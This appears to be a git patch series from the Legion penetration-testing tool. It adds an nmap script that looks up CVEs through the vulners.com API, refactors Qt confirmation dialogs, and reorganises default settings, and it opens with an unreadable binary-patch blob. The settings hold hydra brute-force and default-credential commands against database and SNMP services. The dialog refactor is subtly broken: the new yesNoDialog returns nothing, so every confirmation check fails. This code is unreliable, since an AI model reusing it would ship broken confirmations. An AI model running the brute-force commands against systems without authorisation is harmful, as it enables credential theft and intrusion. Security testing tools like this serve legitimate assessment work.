zz+=V?C>#q)1L`As?1eZSGvf*uU7mag6)<211W{bv4**gCfk{ku=soAW!JqJ#GrG;i zCUNkZw^s7ooI0K*yT4v1Sn171`wB~f4Z_o%qm?c{4l;)m?Eb zm|7VxS+a_mHi}^3LteOGOru9o2@n67tpl7qeWv9s8kK8(KLcd^wZ;6$sk7r&`a87ju=;rn7f2}&ondR)UacMU30yZWu z?-yiI)nbRDCNvG3oF5K(!T%oVwO%LanrcRASy0f_693*Tnk%0 z{`|OJ>Ev2CO6GJ4?XM9@9xHGi^sFv<^^|ATDD?E3^@R(co)b3{EN+|%tUmLlz2D+(aJirF30#y zM!&FKm5QtK;En#x|JTIC&dMqVhpDj2E!`R;rpO*p88>Y-w}Wx^qpL4ozit#Sl~Z)2 zcdfecSin(tWP!&4jHf#p+1c4qWP=Kh!&-gVu)`JuT&6R8-<}_qx}V?V{ZGa|dqfa$ zWot6RSq$d7B_rZ;rf@-!mwaU~A!1;fNlg;;(3B|*v@gzD9M|E?`F3q1>A--S_$1Ev zfe@@59b4#QM>-k#de{BCJI2U+H>2%j^dmdd3)wccq1 z;tC_T)_3G%(t%7=wX_)Ublsm3W!XD{(T1Fp&Wm{!<1o@a5Ahw*|VTE}SJkS{+ zKd^^c4^_p#|5Upi<-h*j^6WA%d+g2(fn|Lym4`uyMi?UDjm>TNs` zqMEB1pogi*B3r2r?Gq=YeP{)sfGaUl@6*5kWKd%G9!txwa2VCw2#`^C?*^hBw70jX zQ?e5*3+WPt{cd+}4F{egEN@#gPR)P%5Mk{JvNHHd>r#=OF(;5VzJ-NvSc9PeP#f6F zTqJ4>0WEm^c!-)>1J}mJiSPQ=`G$G?c`r(dx|*6-nVBen&^>RpNhRVOcXuD4X*0_E z*>6h&tB~QrP=(MSz|>dP_3UW8O6F-3w|N0Kv`x^Bo{W+H!JURS1C#kvubu88y zv{!mT6MQ9(Q#*y+`QiJrte&eXunU_4Y5y5siIkH^XU)!r`Fu{1MDVgPq;;(yQAF^gWjtCU0zbj*)UO~c2gx!ONzuAb<`sZ)ZXca!JTEwd#`{QbApQZ} zG7=x{Ta=^TpG1BIXd)G_3xNwYk9W#D`HPyMWqmEc-`H)Y zzeg7?oh?M3Qv`8Tpyqu=_4X?DQ^sSK81&Y&-gW7r_Aj5M{qIIjHB@%0^f7l+*}ga2 z^)mY!0F$~&OYfLa@Ztsa`**eq{CMA^bC)g!G>qhSASjwK9u}>Rs}BzvAP|rOa1E#d zDR&iMDEZ9QhpL=Zfe%1qMW)-X4M?}RQ+ZLF7otSQy#$AOpku$<3LdKHSk_>8P<|`|1f}8#HfpxCHR7&u&X7Rn9 zMRkO3IeOIKa2~!?({Ulm%seH=l3^k;BNmYh=={oSRO}1=r+B?Ai~70KLc;{_Dj;-f zRq|SLzoz;Ur*IM}{o`Nm?(7LKyO}uQFB)+_zm>Rb9=4)Rq06O;i`paA!Npa7UVUE3 z+!3w)W`u&-01-PQR~y($`^DrJMM!#9*5Bejye|fN0)Z;q*ID1F%`}$+13SbVb5;$e&N~Vhii5YGi!l?IsYfM#e z^<^UFysmS4NiBqq$@LXaN@~kLo|ryF16T>llP&{@2UF?L{f_XPFa~J5%9nj*q=6xq zt;$Dr28Z;j1ae}<-;X@If{ZWH4j}VR`3I4g1YxMOH!bC8ORl69B+HY@{PQ>?=Xu9D>WzT0~wCTzzf-!5bOQv*^HNPfvRGpEpoowbq zcXs))xm0uwR20E5;c6wgA&njfv8x*cjKnxA#lcZ__c%w4I}n-pW(Bb4zp^NQ(1mit z1E%f2M=-&wD%3l0*6Fz|qeC)0d`_Rn!o(gSVIXM)YxC`QR{NiI*kNN#w5NvHdPRF1 z(UAwxpzKEw*t%)c)BIq7vJ+17Jrc6}(=E|{Rg6Ba6(qA}!GfExCLu4HqZj3QRo@xy zxiT^?IiUT@=s5XrEC5mPHoU)=RTF}`m&2%liUpt%DcPKNyREH57OLXSZ1*KcsCv1h z#l;Ed&)`YP+!$0Jaz+S=W=EYs@HN=K5Wb?ke0E#6CCuU9fzwu1Md!Ba@S021FhQon z77o6U77HzjQyIM;N*R7d&8P%zx^}S3^g?6^ii*xCl1VC8E?yjGdRu?V5};Xn%;T;; z3`eyv5W$_NKKn^jK$wbVVdg!#PGhG|ZKm$R3?%pzsfGhbN5-Z~)Ilgh7E*w8l`yY` zLCyLI{9Df>1;wm2kVzdUI1pe^3K0C(Fc^s?LJ?=Ewoi-UsU6TGf^cyteo=>93^Wx< z_|XF3sPPX+{6xs-2Qc)!5FSp`gj7Y7K4M|*H@!^28|gtBK7kkKcyTw6b&bVMoO%*) ze|l@&L>hwvLJfgh3qAoAAd(9jPQBT*^Y6o$a;Mq8d+gFS;u7-~D^?89(svK*puRr! z241A&+3c}oNz{`TS|3_z3g_h-RG%qG637Nfq74n*e!Ax~!AsUe_=nu7roNsNu`1Sj zgrt-TpJ<8hZ9nh|+^$H{vuDrw<4!j%(GR6h$07{90qJC#O}Svj>gMLAUh%m}i*F54 zw$^QZ3`d;wj6++D(rY3$6jJrDas^!aQLABNCQ@?6o{a>^3o`-5f;*XgJQI{+VY z63M3ynZg1IBD?LE9NXtU5?3EYbbRU{Hfl2t;p&6K`zQWlcpJ8PEIWK)8b1Ya091g@ zVm5CW8Y=1NI8jQ%AQ7-^oDhJ5^sC?E+XMSFw3$SBT;+g*L8YouGm-d76vz6vO+6uWFGCwhb4&vi#F}SNmOy zh(Ot4#^(4lZ;>i+8e%px8ZwR{Kde~l?6s>4UhtV;r`x%TIjywuoIIM5mmpbaqg=&| zOj5;hc+gz$V$zI3Mpi_Kh3(SZ)J@KVm`Fb}Q?YMkY5%18_m@X ztv!1_XGbaR9H3GKki$!;T0f0IfNWhb(2O8N&f67|l$p82z~B?uD6l?foIT^g<4xeC z-rsw&l$&v2t~rLCa&pF`#s& ziw7^B1gR7dG?0Dl2-VI8SsY$`Z0am`VEs*8dP_@|R)tc#(`w)=ouR)hHB$W?ea~2B zWl*SHxAeGj&&^*Jjdsw_P%}Hce<_!Q7=?y}YK^&=$TFd0nIuj4lmB7h%_R8U2c==v zo3`AjlyMfSrk*0vT8*UZ*;HV3G}Ut6V!`K+I}cb+q`Nn4PDf$p;>&zK0S0gt6Nex` zKyLwBWNf?}w4vyeF4@k!o3&h9e+25R=W};=7f1E{zWD63lF6Di7QB<6Vb}OxFqWW% z!v4M`OUSAQ;Dx-zl0b)JjnV4oXi;*D*~5E6 z$KbHaJYZ(rXag^nl7yCwCT+2M)v-xStF_KrrR}y1=P>p1ys1Z${{N3yuXyFlvYJ_;_cG z(gsJ4hS2%BSK4pNN3M#JUUb8{xg$PtU;hgVrxbvD%W0c-sM>Rgr$Bo`E9m_!v`iCr zoaJ{^``c(4h*DKAFqq;mODLE$g5!SeTIHutWaGP?BSsPhfV%=gteI0?xnk{7yLqIL zC0^&-Q_`%`TeuL_yM7o+e%Bu_IFk~|_Di!t_x0Sii!)Dyra1O1RZZGv(Cfs@ z*H=r|BT!K>y*+%$khL_rxih9^KlxBTc_ZApmY@Qz(%5OnhpCz-d04l;zzxCoB`h8l zH#68ujZdEwq|7snCnE~%tOQh?@y#C9mf0s8s`LECblPn=nfU&F z6Un7&Y&#~ic!yiZe(r4Ym;*MIx`BfkYiWyqeRDy@JQ3GD1NqS6#VkFhl7IWw9 z4e+A{rBYzFv}e&;tq)N|H6H2KoUqZC`t0!#AIWFDq^Sy`3oEFmCz1Zg6*}`JxgYE` z|E@!au(iO0I~1tveEvo)LPnuIT_96soK?Q*v^#yGsoA z9_A1-0e&BcIk0rP5cM$qwJktCoZ9Yz<2AKJ^TquzqbyQ_p zE0+L{Z>!q9M~{Rx>X^U|#F-BpeA363En(~}rQrkX#&;B-OX8UWr5=1nVBnWep9}=b z`3=Emi(N-T_N!NmiY~}OA7+g{BnFPqo5U8ROB`agYaD6HS1tjw1t?)0b%YJaK-a)- zJsL+{R+zPODnH9K>G$n>J~z+n#wVfC&=XCZG|7`JAT1rBy|0ddsJ!OE0KC4L-tqAA z;$aA4iuphJCj5sOXbnf50;a0ozqe2=8))l3=6l!f&o_w0P##4eS^@h%o; zdB0GUEJv7U^ix&O-ODRYC`E6qQb#|^+vN#?W99 zC{lt3Ux*Ij4ZS&Li$8)2kqNrV)akF57LH{(ckCYy$?FoAohy=T zY0j2+T{wHTSjQ$=wrNs*ZSB_or@M0vt1(^Uc#K04N>o}iDP&AeODaQXCS{@trD2rh zFp^V+R>+}JVx&pCgkqLzo0?paLsSk?MwF!!DN2@8YAEd$iq!tSQD*kFXZGILeA|7I zbuC)G@AE#-eg9AQjCC)!<%xIxDNU1@o*p&gk)n}F8^K&Cju@&`cDHQtHLTk_rRQ4x zGJF({;qsmKD$)VkLBdt@v>K1@vXxgNj0?LK9@sKU*pVZruM1sRZFeIwZCeMe31Ni+ z;R3!#Q@OTc(`iUgI*oDRqIq-Yo?VpPlSYh%tf3*4#{g#e9u2^j)Xjzb;skTAT^lb= zD4kJ$V^5O1-4ef9M*%Q$p$EjOlPbE~OrJ`bLr=Fr3$1n0NM=Qab%E@1WnFQhdHza| zE$W&ijL3zKOSYpTn|pra*f*nyBL;;auIB_Fhvy(@0aXIpZWwCfRF4BB;|D{-7rBv% z(G6O`EaIFT!#+bvHl-Sb5z>@;Z{M+FnX$`74aE+B>LIpNJDaL*pc)Hj`T0s&=)h_W zPTvg7CsU@QYvj;dY8D)NAJsARueSD(vu+fwTyc`tTI}<(Iy48sqGBCvIc28ZWCo{W zb>`-Fol1hQ{it3LDXUkQJG5a_HBUNZ0xyZ2JNWLn_khJrG6S2FH$OT9N1 z{?%0`7^$eF@jUhx%sx_`Xd-)$Tm&e(%2w71O4le0>foj4y5by->FV%Z6=^UdfAp%OX~IJ zN*guwh0~U~ZIf_L8rZv}zyH7ZKz3|~2M)-@st5Wgq^^_NStCbV3Sy=l7^o>L>r-f7 z>zpO-=-K@v$|D2e+O?f#*(4;~xN-84(`0zEhiEA{75k(_^mKSL zrMut+#B9=<^feqH6L=-R@f{`f`tN6&M?wM6zp>~a*R2z#4vk3s`RB&QN-4YX2JlSM zoF-=pWHsTCl$8up3JeM&T;2cr(Zh!yygdqlal(#LitGRc&;Ztu6(R18yo^Q`O!HCQ zI(C;bD_PIH>(?KvP`)+af$@#q-2Lv|yP1zNprf8^5@Xv7n;p_`9c}H@GiL-DLDB9V z3PBP|HF}lICPnH;69r6VT6U=QpLPM8m!BejQIj2ph$Q?2yff(0~ z9WG6hoH##U65NYe7d$zyI0iEsAB!;cLT1%1R?EuCN&ND_ymT+2*4IU+OnI0H5a}y7-&w`2o?VzjvmWi&i^$0=KEUdTTiWdj6DWVA7Yg8Wb8YoWA|9DIVpq ztL|R{E1H&uMF*3xoBnm*$!670vG>A{iN(rH*PhI}^>tDmh4#(ElfHSj zg9F-P#KXbg3+(&b*AknTaPs+v*P06*zgM+Tt_8o2jr`^EWeTSqDnEpT^gZv>&|<4t zXE^YTWOTnnMvMFC52~DXJGZFUlyB@r(Q6*wkMG$iX)wCIDnW+hLokzIL&CWdH?%BW zvYhByYL)VI$s5bX)HRLJ-6burNX8j3AhWD&e_kcdYpBi*^31JLw_7c%>Z5BJiwi*v zAwOx!#LZ2N(F_BKs^2BpOK=xcFO&OV@NsSsp^voPFEB;7&Y%+}?(iJ+@J6oEkp~se zkA*dP+$2I!KqAmDbo+T40Wi$@L>W?ZdaHac4-Zuw+mev;KJ#AQ^cx=jXAoZkU*JN5 z{O^&;n&yYFZmwNdSMD@?y-j3;JW0|a*>;vTz+I1%RD0pGc>O6sdq%_~ zkx%~lC&PZy6_p=Prg?|D7yzYw`7*!m==$a3!7s_qVsi78F;C=jeDTb>N$+xuU&jkn z5luLn>kRU2YBpL}Go}?ffYKHvo#U(EM@Isxn^kWPHw5hp2d*{qZ9a=cZcWDZ7P9zE zm<$5R9_g_I6>~emLmeT+hdQ2i;NYuO)6ydT&RSZQob;l~_la!e+t9#3OUN!Lh`qM| ziR&?I0oI|gr$M5C{|fqHWJc3MclRTQ51+vx>mx=Ny1~ci2OSfd&E@n~C*_-nL_>>1 zCB@mW(#;JhLBCqQfEZwQ`YPw;l#0M+6ymu1NrnK_;{=67v{hzCqFL+I#1TV>lD1@I zYC3D?%r%~#)X8yo(Cz}3oFKr6i%R$t0ITR!iURQ4ba}A=$}#Q&f!fqm)u)ot`j)J8 zHk6+#X&Y!Z7)!0!ysxjZ=vDL*R0LGY0kV}LIwlN89L3H1df3Wa3c}DVl#_yjoYNnFE!<-uKg~7+rUwp!> zx5xf1<6}GCZo8o{{)xIt(59vf=|K<{sieev_OZcCMm5W-^g5oHIMvoRsla>X!s=rM zRy-!~T7bl^mC(XgE-o1t*972TME>(~)_N>y^>^IVt{<7<;^H!A4%=1!{E5TQGOUBe zVzpc05tA+|UpiAW#a$BIO<){Qk~tcL>F2hQ>mzGVmH>((t`Y;4S}dkHe-5lEC6s=SOHJ7 zW8reDl!K3+>xTOVz$qd0`i1FIhK4!C#V-Ll>bKN#4>{Y8lOkGIS5=YGg7KjKL8v(b zJXvduxGXVOz|< zN-y`XJOPmyJhhB;I_Lc?iiQ-i8WL5M8zArqf8UUz*Te)_>?Yd~=YelA01XtHOdm$U zagJA+l4+5_<)`Y0=V;bxj~%AEhGi>jXQp)NEWY?&u`<@&zS*-RaBbWBIot(Lj6ya-r<>t=e) zVYq4~YDbms-4|_BR{!Rn>xwjqNyG4D1Q0~5k-_aG7j!su_t4RNgR!}0pbs`jo+n{q z3Cc(`k)&D>s{T$5DVUcS%pBbXHwn)Oj);Ysj6V4vNFT0Tsf3-BOP(5fkhpo0?B zskdLvp7cKl2QLzn0rK!E)l9~=%tD0{UWIbZR90Y-P!n31&VDxD)YKc|gy#>929R_r z35PS&)3?{r?NT-!3qKhxx^!jt+I zF63VF9)m!39B$MEa0Jsbs+f2MA3&i{5I?U%5sj6FC=SjzWDVKH#gXoUB^IGVOxjL? z#8^3}jl@_PFvx-dvHF%wsGH`xcro4-6o6sb500gMLoLox7 zQ!v|QQ(rYTwf_C5-_aE`if`T&Nl+P);=zmAJ6W7%_-77|c z{g1}hq6M*&(;=s>iEkFAKsR=auiVeP8#J!8yC{mM?G?+x5h)mCBfJ^-GbVaqnaMW* zieMFiYGkenAt#3pt;)L`(i}24&AUfNQ3E=^bak)bAadE&AM3 zZ_|%+5pCYTqypUliAdaKQo+z%8g-N}%I1#oy}m1n>CeIXiAcoo2oCpbQ~SP=B!h2k zTs>jJImS8_#1{J3R4rP6ggXkp$^7dAxgAP_ua(u;Ji`ZHOgBqa`?4ltvwdAi$Ac17 z00Cw{xiVGnbjYTUfIr~Qe*`}_E5pxOjf$O0i*1pItN4iXuh^cPoo#!Ku1R9n*lxm9 zHAbtmOCegxhbbyOV`SI4xkPqqguJ4o1c5WxxKKJT4y!!TeDRdAR6;0q5KVz+_{Jb( zs^7!-(6^kv@}`Icjjajx;7-ZqU4`3hH?VdFM`l(yR@bVyXt@?C#>URTGCeD%r|loSWXc<64J28KB%OUz*x<58aq z+L3GXL$!NQaiV*joK_1;0Y?CyESeM{s?a8f1n3K%+vl8MI{^PL8?C$acEuB13`I6u z0W+RI_w-T4NP@IUvrivD9APju1J(6 z+xW9~Rjw={DaooGVri~oeC0^yczi%cZg+~h!h1jj!d@3{ZM)VDB1)vEz8~J!9Fyv7 z^P9g`@z;`;-!6sMdxei6d#yi?Kh&pKeo0NQbiv#vPIzNe|6XHLEc(a&S}VM1iq$mB JBNp?w{1b1-xf=ig diff --git a/scripts/nmap/vulners.nse b/scripts/nmap/vulners.nse new file mode 100644 index 00000000..284b2be9 --- /dev/null +++ b/scripts/nmap/vulners.nse @@ -0,0 +1,220 @@ +description = [[ +For each available CPE the script prints out known vulns (links to the correspondent info) and correspondent CVSS scores. + +Its work is pretty simple: +- work only when some software version is identified for an open port +- take all the known CPEs for that software (from the standard nmap -sV output) +- make a request to a remote server (vulners.com API) to learn whether any known vulns exist for that CPE + - if no info is found this way - try to get it using the software name alone +- print the obtained info out + +NB: +Since the size of the DB with all the vulns is more than 250GB there is no way to use a local db. +So we do make requests to a remote service. Still all the requests contain just two fields - the +software name and its version (or CPE), so one can still have the desired privacy. +]] + +--- +-- @usage +-- nmap -sV --script vulners [--script-args mincvss=] +-- +-- @output +-- +-- 53/tcp open domain ISC BIND DNS +-- | vulners: +-- | ISC BIND DNS: +-- | CVE-2012-1667 8.5 https://vulners.com/cve/CVE-2012-1667 +-- | CVE-2002-0651 7.5 https://vulners.com/cve/CVE-2002-0651 +-- | CVE-2002-0029 7.5 https://vulners.com/cve/CVE-2002-0029 +-- | CVE-2015-5986 7.1 https://vulners.com/cve/CVE-2015-5986 +-- | CVE-2010-3615 5.0 https://vulners.com/cve/CVE-2010-3615 +-- | CVE-2006-0987 5.0 https://vulners.com/cve/CVE-2006-0987 +-- | CVE-2014-3214 5.0 https://vulners.com/cve/CVE-2014-3214 +-- + +author = 'gmedian AT vulners DOT com' +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"vuln", "safe", "external"} + + +local http = require "http" +local json = require "json" +local string = require "string" +local table = require "table" + +local api_version="1.2" +local mincvss=nmap.registry.args.mincvss and tonumber(nmap.registry.args.mincvss) or 0.0 + + +portrule = function(host, port) + local vers=port.version + return vers ~= nil and vers.version ~= nil +end + + +--- +-- Return a string with all the found cve's and correspondent links +-- +-- @param vulns a table with the parsed json response from the vulners server +-- +function make_links(vulns) + local output_str="" + local is_exploit=false + local cvss_score="" + + -- NOTE[gmedian]: data.search is a "list" already, so just use table.sort with a custom compare function + -- However, for the future it might be wiser to create a copy rather than do it in-place + + local vulns_result = {} + for _, v in ipairs(vulns.data.search) do + table.insert(vulns_result, v) + end + + -- Sort the acquired vulns by the CVSS score + table.sort(vulns_result, function(a, b) + return a._source.cvss.score > b._source.cvss.score + end + ) + + for _, vuln in ipairs(vulns_result) do + -- Mark the exploits out + is_exploit = vuln._source.bulletinFamily:lower() == "exploit" + + -- Sometimes it might happen, so check the score availability + cvss_score = vuln._source.cvss and (type(vuln._source.cvss.score) == "number") and (vuln._source.cvss.score) or "" + + -- NOTE[gmedian]: exploits seem to have cvss == 0, so print them anyway + if is_exploit or (cvss_score ~= "" and mincvss <= tonumber(cvss_score)) then + output_str = string.format("%s\n\t%s", output_str, vuln._source.id .. "\t\t" .. cvss_score .. '\t\thttps://vulners.com/' .. vuln._source.type .. '/' .. vuln._source.id .. (is_exploit and '\t\t*EXPLOIT*' or '')) + end + end + + return output_str +end + + +--- +-- Issues the requests, receives json and parses it, calls make_links when successfull +-- +-- @param what string, future value for the software query argument +-- @param vers string, the version query argument +-- @param type string, the type query argument +-- +function get_results(what, vers, type) + local v_host="vulners.com" + local v_port=443 + local response, path + local status, error + local vulns + local option={header={}} + + option['header']['User-Agent'] = string.format('Vulners NMAP Plugin %s', api_version) + + path = '/api/v3/burp/software/' .. '?software=' .. what .. '&version=' .. vers .. '&type=' .. type + + response = http.get(v_host, v_port, path, option) + + status = response.status + if status == nil then + -- Something went really wrong out there + -- According to the NSE way we will die silently rather than spam user with error messages + return "" + elseif status ~= 200 then + -- Again just die silently + return "" + end + + status, vulns = json.parse(response.body) + + if status == true then + if vulns.result == "OK" then + return make_links(vulns) + end + end + + return "" +end + + +--- +-- Calls get_results for type="software" +-- +-- It is called from action when nothing is found for the available cpe's +-- +-- @param software string, the software name +-- @param version string, the software version +-- +function get_vulns_by_software(software, version) + return get_results(software, version, "software") +end + + +--- +-- Calls get_results for type="cpe" +-- +-- Takes the version number from the given cpe and tries to get the result. +-- If none found, changes the given cpe a bit in order to possibly separate version number from the patch version +-- And makes another attempt. +-- Having failed returns an empty string. +-- +-- @param cpe string, the given cpe +-- +function get_vulns_by_cpe(cpe) + local vers + local vers_regexp=":([%d%.%-%_]+)([^:]*)$" + local output_str="" + + -- TODO[gmedian]: add check for cpe:/a as we might be interested in software rather than in OS (cpe:/o) and hardware (cpe:/h) + -- TODO[gmedian]: work not with the LAST part but simply with the THIRD one (according to cpe doc it must be version) + + -- NOTE[gmedian]: take only the numeric part of the version + _, _, vers = cpe:find(vers_regexp) + + + if not vers then + return "" + end + + output_str = get_results(cpe, vers, "cpe") + + if output_str == "" then + local new_cpe + + new_cpe = cpe:gsub(vers_regexp, ":%1:%2") + output_str = get_results(new_cpe, vers, "cpe") + end + + return output_str +end + + +action = function(host, port) + local tab={} + local changed=false + local response + local output_str="" + + for i, cpe in ipairs(port.version.cpe) do + output_str = get_vulns_by_cpe(cpe, port.version) + if output_str ~= "" then + tab[cpe] = output_str + changed = true + end + end + + -- NOTE[gmedian]: issue request for type=software, but only when nothing is found so far + if not changed then + local vendor_version = port.version.product .. " " .. port.version.version + output_str = get_vulns_by_software(port.version.product, port.version.version) + if output_str ~= "" then + tab[vendor_version] = output_str + changed = true + end + end + + if (not changed) then + return + end + return tab +end + diff --git a/ui/view.py b/ui/view.py index 2c749273..945d8ff7 100644 --- a/ui/view.py +++ b/ui/view.py @@ -214,6 +214,9 @@ def initTables(self): # this funct def setMainWindowTitle(self, title): self.ui_mainwindow.setWindowTitle(str(title)) + + def yesNoDialog(self, message, title): + QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) def setDirty(self, status=True): # this function is called for example when the user edits notes self.dirty = status @@ -233,7 +236,7 @@ def setDirty(self, status=True): # this funct def dealWithRunningProcesses(self, exiting=False): if len(self.controller.getRunningProcesses()) > 0: message = "There are still processes running. If you continue, every process will be terminated. Are you sure you want to continue?" - reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + reply = self.yesNoDialog(message, 'Confirm') if not reply == QtWidgets.QMessageBox.Yes: return False @@ -252,12 +255,13 @@ def dealWithCurrentProject(self, exiting=False): # returns Tr return self.dealWithRunningProcesses(exiting) # deal with running processes def confirmExit(self): - reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', "Are you sure to exit the program?", QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + message = "Are you sure to exit the program?" + reply = self.yesNoDialog(message, 'Confirm') return (reply == QtWidgets.QMessageBox.Yes) def killProcessConfirmation(self): message = "Are you sure you want to kill the selected processes?" - reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + reply = self.yesNoDialog(message, 'Confirm') if reply == QtWidgets.QMessageBox.Yes: return True return False @@ -1241,7 +1245,7 @@ def closeHostToolTab(self, index): if str(self.controller.getProcessStatusForDBId(dbId)) == 'Running': message = "This process is still running. Are you sure you want to kill it?" - reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + reply = self.yesNoDialog(message, 'Confirm') if reply == QtWidgets.QMessageBox.Yes: self.controller.killProcess(pid, dbId) else: @@ -1250,7 +1254,7 @@ def closeHostToolTab(self, index): # TODO: duplicate code if str(self.controller.getProcessStatusForDBId(dbId)) == 'Waiting': message = "This process is waiting to start. Are you sure you want to cancel it?" - reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + reply = self.yesNoDialog(message, 'Confirm') if reply == QtWidgets.QMessageBox.Yes: self.controller.cancelProcess(dbId) else: @@ -1347,7 +1351,7 @@ def closeBruteTab(self, index): if not self.ui.BruteTabWidget.currentWidget().pid == -1: # if process is running if self.ProcessesTableModel.getProcessStatusForPid(self.ui.BruteTabWidget.currentWidget().pid)=="Running": message = "This process is still running. Are you sure you want to kill it?" - reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + reply = self.yesNoDialog(message, 'Confirm') if reply == QtWidgets.QMessageBox.Yes: self.killBruteProcess(self.ui.BruteTabWidget.currentWidget()) else: @@ -1380,7 +1384,7 @@ def callHydra(self, bWidget): # check if host is already in scope if not self.controller.isHostInDB(bWidget.ipTextinput.text()): message = "This host is not in scope. Add it to scope and continue?" - reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.Yes) + reply = self.yesNoDialog(message, 'Confirm') if reply == QtWidgets.QMessageBox.No: return else: From 1fb54a2c09b766ea2761a2b59e33eabb6973b4b1 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Sun, 14 Oct 2018 05:17:41 -0500 Subject: [PATCH 030/450] Cleanup --- app/settings.py | 32 ++++++++++++++++++++++++++++---- ui/dialogs.py | 41 +++++++++++++++++------------------------ ui/view.py | 3 ++- 3 files changed, 47 insertions(+), 29 deletions(-) diff --git a/app/settings.py b/app/settings.py index 257a9867..21df5061 100644 --- a/app/settings.py +++ b/app/settings.py @@ -22,6 +22,13 @@ def __init__(self): if not os.path.exists('./legion.conf'): log.info('[+] Creating settings file..') self.createDefaultSettings() + self.createDefaultBruteSettings() + self.createDefaultNmapSettings() + self.createDefaultToolSettings() + self.createDefaultHostActions() + self.createDefaultPortActions() + self.createDefaultPortTerminalActions() + self.createDefaultSchedulerSettings() else: log.info('[+] Loading settings file..') self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) @@ -47,7 +54,10 @@ def createDefaultSettings(self): self.actions.setValue('max-fast-processes', '10') self.actions.setValue('max-slow-processes', '10') self.actions.endGroup() + self.actions.sync() + def createDefaultBruteSettings(self): + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('BruteSettings') self.actions.setValue('store-cleartext-passwords-on-exit','True') self.actions.setValue('username-wordlist-path','/usr/share/wordlists/') @@ -58,7 +68,10 @@ def createDefaultSettings(self): self.actions.setValue('no-username-services', "cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc") self.actions.setValue('no-password-services', "oracle-sid,rsh,smtp-enum") self.actions.endGroup() + self.actions.sync() + def createDefaultNmapSettings(self): + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('StagedNmapSettings') self.actions.setValue('stage1-ports','T:80,443') self.actions.setValue('stage2-ports','T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434') @@ -66,14 +79,20 @@ def createDefaultSettings(self): self.actions.setValue('stage4-ports','T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999') self.actions.setValue('stage5-ports','T:30000-65535') self.actions.endGroup() + self.actions.sync() + def createDefaultToolSettings(self): + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('ToolSettings') self.actions.setValue('nmap-path','/sbin/nmap') self.actions.setValue('hydra-path','/usr/bin/hydra') self.actions.setValue('cutycapt-path','/usr/bin/cutycapt') self.actions.setValue('texteditor-path','/usr/bin/leafpad') self.actions.endGroup() + self.actions.sync() + def createDefaultHostActions(self): + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('HostActions') self.actions.setValue("nmap-discover", ["Run nmap-discover", "nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\""]) self.actions.setValue("nmap script - Vulners", ["Run nmap script - Vulners", "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\""]) @@ -84,7 +103,10 @@ def createDefaultSettings(self): self.actions.setValue("nmap-full-udp", ["Run nmap (full UDP)", "nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""]) self.actions.setValue("unicornscan-full-udp", ["Run unicornscan (full UDP)", "unicornscan -mU -Ir 1000 [IP]:a -v"]) self.actions.endGroup() + self.actions.sync() + def createDefaultPortActions(self): + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('PortActions') self.actions.setValue("banner", ["Grab banner", "bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\"", "telnet,ssh"]) self.actions.setValue("nmap", ["Run nmap (scripts) on port", "nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT]", ""]) @@ -130,15 +152,15 @@ def createDefaultSettings(self): self.actions.setValue("mysql-default", ["Check for default mysql credentials", "hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql", "mysql"]) self.actions.setValue("oracle-default", ["Check for default oracle credentials", "hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener", "oracle-tns"]) self.actions.setValue("postgres-default", ["Check for default postgres credentials", "hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres", "postgresql"]) - #self.actions.setValue("snmp-default", ["Check for default community strings", "onesixtyone -c /usr/share/doc/onesixtyone/dict.txt [IP]", "snmp,snmptrap"]) - #self.actions.setValue("snmp-default", ["Check for default community strings", "python ./scripts/snmpbrute.py.old -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt", "snmp,snmptrap"]) self.actions.setValue("snmp-default", ["Check for default community strings", "python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours", "snmp,snmptrap"]) 